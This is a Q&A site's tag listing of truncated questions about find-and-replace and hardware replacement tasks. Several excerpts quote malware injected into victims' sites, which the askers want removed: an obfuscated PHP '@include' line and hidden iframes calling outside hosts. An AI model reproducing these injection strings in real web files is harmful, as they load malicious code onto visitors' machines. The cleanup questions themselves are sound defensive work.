Questions tagged [replace]

The tag has no usage guidance.

Filter by
Sorted by
Tagged with
0 votes
2 answers
17 views

Replace text with sequence of numbers

I have 2250 metadata files that need to have a unique number starting at 0 going to 2249, as the line below. "name": "KF # RENUMBER", I've used the perl command (perl -pi -w -e 's/...
John Fallon's user avatar
0 votes
0 answers
75 views

Replacing 0 kb files on the hard drive

Good day. Situation: we recently created a new file server on Windows Server and copied a lot of files to it, some of which are 0 kb in size; there is a backup server on Windows Server, which stores ...
bandastyle's user avatar
1 vote
1 answer
332 views

Replacement disk faults

I had a disk in my pool fault (raise too many errors). The number of I/O errors associated with a ZFS device exceeded acceptable levels. ZFS has marked the device as faulted. impact: Fault tolerance ...
fcimeson's user avatar
1 vote
1 answer
462 views

SED config-file with single quote

I have a config file which looks like this: $this->db_host = 'localhost'; $this->db_port = '3306'; $this->db_name = 'database'; $this->db_user = 'root'; Im ...
friedulman's user avatar
-1 votes
1 answer
403 views

sed linux replace complex link

I am having this challenge to pass a link from a variable: InstallLocation=/opt/software/software.properties ReplaceeVar=http://localhost:1234/ab/cd/{company}/{employee}/ sed -i "s/...
Rado Ratko's user avatar
0 votes
1 answer
112 views

Find and Replace using Regular Expression

I try to find a way to find and replace using EMEditor and a Regular Expression. I try to applu this for the item below: <?php /*f04b8*/ @include "\057mn\164/r\141id\057ho\155e/\164ap\151om\...
Thom's user avatar
  • 41
0 votes
1 answer
3k views

How to move a subvolume to a new drive in btrfs?

I am trying to move my /srv, /var/lib/mysql and /home directory to another drive ( a bigger one with RAID1). I did some research on how to go about doing this and I kind of did most of it. However, ...
FlowRaja's user avatar
  • 101
0 votes
1 answer
499 views

Replace SAS disk for HP ProLiant 380DL Raid1

I have HP Proliant Server 380DL G9 with 5 SAS disks, (2 disks for raid 1,also 2 disks raid 1 and the last one is raid 0) one of the disks in the 1st raid 1 is flashing orange, so its recommended to ...
Extreme FOX's user avatar
1 vote
1 answer
757 views

mask public IP addresses from any command output (for diagnostic)

I'm writing a script to extract information from BusyBox v1.25.1/Linux 2.6.36/router where the user can simply run the script and copy/paste the output into a submission form to request support. The ...
rs232's user avatar
  • 105
0 votes
3 answers
663 views

Re-Write data in SQL file

So my solution to anonymize data on our backup server where we store backups of MySQL databases in .sql files is the following: Created a script that copies the .sql file from the backup server to my ...
Bert's user avatar
  • 1,066
2 votes
4 answers
3k views

Find and replace string between two delimiters

How do I replace a string between two delimiters? Some of the answers I found are close, but I think my need is a little more complex. I.e. smb.conf contains a blank line between shares. I want to ...
Brian Cuttler's user avatar
0 votes
2 answers
788 views

Replace failed HDD Raid 5 with different size

One of the HDD on my server HP proliant DL 380 G7 failed, i have 6 hdd each 146gb sas 2.5 Hot plug. Can i replace one HDD failed with larger size 450gb sas 2.5. Is the safe? And how the scenario for ...
Faishol's user avatar
2 votes
1 answer
9k views

Remote Desktop Gateway server is temporarily unavailable after updating SSL Certificate

The SSL cert for our RDS Web Gateway expires end of July. I have already got a replacement SSL for the next year. However, even though it is the same cert (same subject no SANs) I get a Remote ...
Martin's user avatar
  • 41
2 votes
1 answer
898 views

LINUX: multiq leaf not replaceable with tc

# uname -r 4.7.5-200.fc24.x86_64+debug # tc -s -d qdisc show dev ens3 qdisc mq 8001: root Sent 44589 bytes 340 pkt (dropped 0, overlimits 0 requeues 0) backlog 0b 0p requeues 0 qdisc fq_codel ...
cherusk's user avatar
  • 41
0 votes
1 answer
1k views

Windows server 2012 failover cluster replace shared disk

We have cluster of 2 nodes (Windows Server 2012) with file server role. There is resource group configured under cluster which have multiple shared disks. As one of the disk is having file system ...
Amit G's user avatar
  • 1
2 votes
1 answer
3k views

How can I use Ansible to conditionally append a line in a file?

I'm trying to create an Ansible task that sets up trim/discards. I have a playbook that takes care of everything else (LVM, fstrim), but I can't figure out how to get crypttab configured properly. I'...
Mark Caudill's user avatar
0 votes
3 answers
12k views

sed replace unix path with variable that contain another unix path [closed]

I need to replace Unix path via sed with variable that contain another unix path in a bash script Example: another_unix_path=/another/unix/path sed -i 's/ \/some\/path\/file.txt/ '$another_unix_path'...
vasek's user avatar
  • 13
3 votes
1 answer
806 views

Postifx header_checks cut off last part of subject

One of our main applications is sending out emails that have encoded subjects with base64 but that application is sending wrong characters at the end. I am looking at Header_checks with subject ...
Roland's user avatar
  • 33
1 vote
1 answer
2k views

How to change / replace a failed "system" disk on EMC Clariion CX500?

On the first DAE, the first 5 disks are considered "special" because they host the OS of the storage array. One of those 5 disks is faulty : what is the procedure to change it? By the way, what ...
Totor's user avatar
  • 2,996
1 vote
1 answer
1k views

Find and replace files in linux

I know how to find and replace certain string through files, but I'm interested how could I find and replace whole files? e.g. I would like to find all info.php files that were modified at specific ...
user206691's user avatar
0 votes
1 answer
63 views

Match Same column and replace the values

I have two tables City with codes and other is the employees table.The issue while inserting was that instead of the Code of the city the actual name was inserted.I need to replace them with the codes....
Fhd.ashraf's user avatar
0 votes
2 answers
2k views

Is it possible to change disk in RAID0 array of Intel Rapid Storage Tehnology?

My BIOS started to report red line with error for one of 2 drives in RAID0 array during boot. But file system appears to be working without any visible problems, so I was able to make system image and ...
alpav's user avatar
  • 161
0 votes
1 answer
504 views

Debian, Search and replace iframe injection [duplicate]

We're running a Debian server and we have a malware or something doing code injection. I know how to search and replace this string : <iframe src="http://ingvar2000.no-ip.org/jc/rss.php" width="2"...
Docteur_K's user avatar
5 votes
1 answer
14k views

postfix header_checks using regexp proper setup

I just can't seem to figure out why header_checks are not being evaluated. I'm on Ubuntu 12.04, postfix 2.7, dovecote, spamassasin, clamav, amavis. I add following line to /etc/postfix/main.cf : ...
WJR's user avatar
  • 341
0 votes
3 answers
15k views

sed replace text - escape characters

I have a mysqldump file in which I want to replace the following text <a href="/tag/ with <a href="http://www.mydomain.com/tag/ but can't find a way to correctly escape all special characters. ...
George Tasioulis's user avatar
1 vote
1 answer
295 views

sed replace inside shell file

I have a shell file which needs to perform a replace of some text in a php file. The line that needs replacing is: $database = $db."_db"; The actual sed command needs to contain a variable so not ...
robjmills's user avatar
  • 990
3 votes
5 answers
404 views

Why isn't sed working?

I have a file that has a single line with a lot of ! characters. I want to remove all of the ! characters. I tried this: sed s/!// myfile and this: sed 's/!//' myfile and this: sed 's/"\!*"//' ...
Greg_the_Ant's user avatar
1 vote
2 answers
1k views

PowerShell -replace operator exhibits quirky behavior with particular data

The presence of the special PowerShell variable $_ in the replacement string causes odd behavior; I am wondering if there is something about escaping I am missing or if this is just a defect. The ...
Michael Sorens's user avatar
2 votes
2 answers
4k views

find and replace text with sequence of numbers [closed]

I need to replace a word in a file like this text text pc text text text text pc text text text text pc text text i need to replace pc with pc1, pc2 .... etc text text pc1 text text text text pc2 ...
cosmin's user avatar
  • 121
22 votes
4 answers
14k views

RAID-6: better to replace two dead drives at the same time, or one at a time?

We have a 16-drive RAID-6 that has three problem drives. Two are already dead, and the third is giving SMART warnings. (Nevermind how it got in such a bad state.) Obviously we want to replace the ...
Warren Young's user avatar
2 votes
3 answers
7k views

Replace text on MySQL - Wildcards to replace certain variable parts?

I'm trying to apply a text replace on my WordPress MySQL database. I need to delete part of the current images html code, but this part of the text is variable, althouth there is a part that never ...
javipas's user avatar
  • 1,362
0 votes
2 answers
1k views

Replace current primary dns server without downtime

I'm planning to upgrade my primary dns server. To avoid a downtime i'm planning to create vps where i will have same configured dns server. Till i reboot primary dns server i'm planing to change VPS ...
user avatar
1 vote
3 answers
20k views

MySQL, replacing &nbsp; with... nothing (delete those, please!)

I'm trying to purge my WordPress content from "false" carriage return (CR). These are caused after a migration of my content, that now presents from time to time a &nbsp; code that makes the web ...
javipas's user avatar
  • 1,362
6 votes
5 answers
65k views

Replacing a dead hard drive in RAID 5 with a different type

One of the drives failed in my server configured with RAID 5, and I can't find a exact replacement. From my understanding, RAID 5 supports drives with different sizes. Is this safe? Any ...
jassuncao's user avatar
  • 185
2 votes
2 answers
173 views

Replacing 2000 DC with a 2008 DC

We currently have a 2000 DC and a 2003 DC. We want to remove the 2000 DC completely and replace it with a 2008 DC. Can we promote the 2008 DC using the 2003? I believe i've read you can not from a ...
tech's user avatar
  • 21
0 votes
1 answer
3k views

Textwrangler (OS X) -- Simple Text Macro Help Needed

I often, when parsing log/error files, need to replace < and < and > with > in order to be able to efficiently understand what's going on in the files. I know TextWrangler has a macro ability ...
bobber205's user avatar
  • 241
0 votes
2 answers
2k views

Squid packet injection / replace

I have a server which will act as a proxy, using squid. My goal is to have something replace outgoing data. I tried ettercap, no luck whatsoever. The idea is, whatever-will-replace-data needs to run ...
Adrian A.'s user avatar
1 vote
3 answers
1k views

Replace text with spaces in MySQL

I'm trying to do a global replace of search in my database, which has a lot of articles with a double carriage return because of this code: <p> </p> I'd like to replace this in my ...
javipas's user avatar
  • 1,362
-2 votes
1 answer
2k views

Mass search / replace string from ssh?

I am in the process of selling a network of 60 sites, they all have adsense with the same publisher id (google_ad_client="pub-xxxxxxxxxxxxxxxx") in all the files in the /home/ folder. How can I do a ...
jejasmin's user avatar
2 votes
2 answers
5k views

MySQL/Apache: Replace spaces with underscores only in certain URLs

I'm having a problem with some images I'm using on my WordPress blog. After a migration I renamed every image replacing spaces with underscores, so HIDDEN_264_4062_FOTO_IDF los MID.jpg was renamed ...
javipas's user avatar
  • 1,362
0 votes
1 answer
165 views

Sed Replace Help

I need some assistance with some sed replaces: sed -ri 's#logging { /* If you want to enable debugging, eg. using the 'rndc trace' command, * named will try to write the 'named.run' file ...
JPerkSter's user avatar
  • 285
0 votes
4 answers
243 views

Best way to replace this Antec server PSU

The power supply in one of my servers died. After a few checks it seems it didn't provided enough power to the machine's hard-disks. A straightforward solution would be a new PSU but I can't find one ...
A-R's user avatar
  • 11
3 votes
1 answer
4k views

replace text in file without overwriting file

I want to use the command line to edit a text file but not overwrite it. I want to preserve the owner, group, and permissions of the file. I have a file that holds a count of the number of times a ...
joshxdr's user avatar
  • 257
2 votes
4 answers
832 views

Replacing an ATA-100 hard drive

I was instructed to replace the hard drive in an old laptop, a Dell Latitude D505. I'm suspecting that there was a head crash when someone moved the laptop while it was turned on. In the ...
Pieter's user avatar
  • 349
3 votes
2 answers
4k views

Can I upgrade a Windows 2000 domain to 2008 and demote the 2000 server without clients attached?

We're planning to replace a Windows 2000 domain controller with a new 2008 DC (new hardware). We've elected to take the route of getting the 2000 domain schema up-to-snuff, join the 2008 server, ...
techie007's user avatar
  • 1,914
5 votes
2 answers
295 views

Perl search & replace

How can I use search and replace to change the contents of a file. I need to be able to change the 'all to none' and/or 'none to all' without having to manually do it every time for hundreds of lines....
user36101's user avatar
2 votes
1 answer
6k views

Is there an Icacls function similar to /replace in subinacl?

My company has been utilizing the subinacl tool to fix SIDs that change unexpectedly. We are now switching over to Windows 7 and the subinacl tool is no longer utilized. I am trying to find the code ...
RedPheonix's user avatar
0 votes
2 answers
88 views

Strip text from some delimited fields in a list

Wondering what the fastest way would be to strip the text from just some delimited fields in a list. My list looks like this: text text:number:text:text:text:text:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:* ...
user avatar
0 votes
6 answers
3k views

How to recursively search and replace from command line on unix/linux system

So I want to change several files at one with one command. This is what I have so far: find -regex ".*\.ext$" | xargs grep -l searchText 2> /dev/null | xargs -i sed 's/searchText/replaceText/' >...
Keith Bentrup's user avatar
0 votes
5 answers
856 views

Search for index.php and index.html and replace string

I recently had some sort of Malware on my computer that added to all index.php and index.html ON THE WEBSERVER! the following string(s): echo "<iframe src=\"http://fabujob.com/?click=AD4A4\" width=...
Jonas's user avatar
  • 3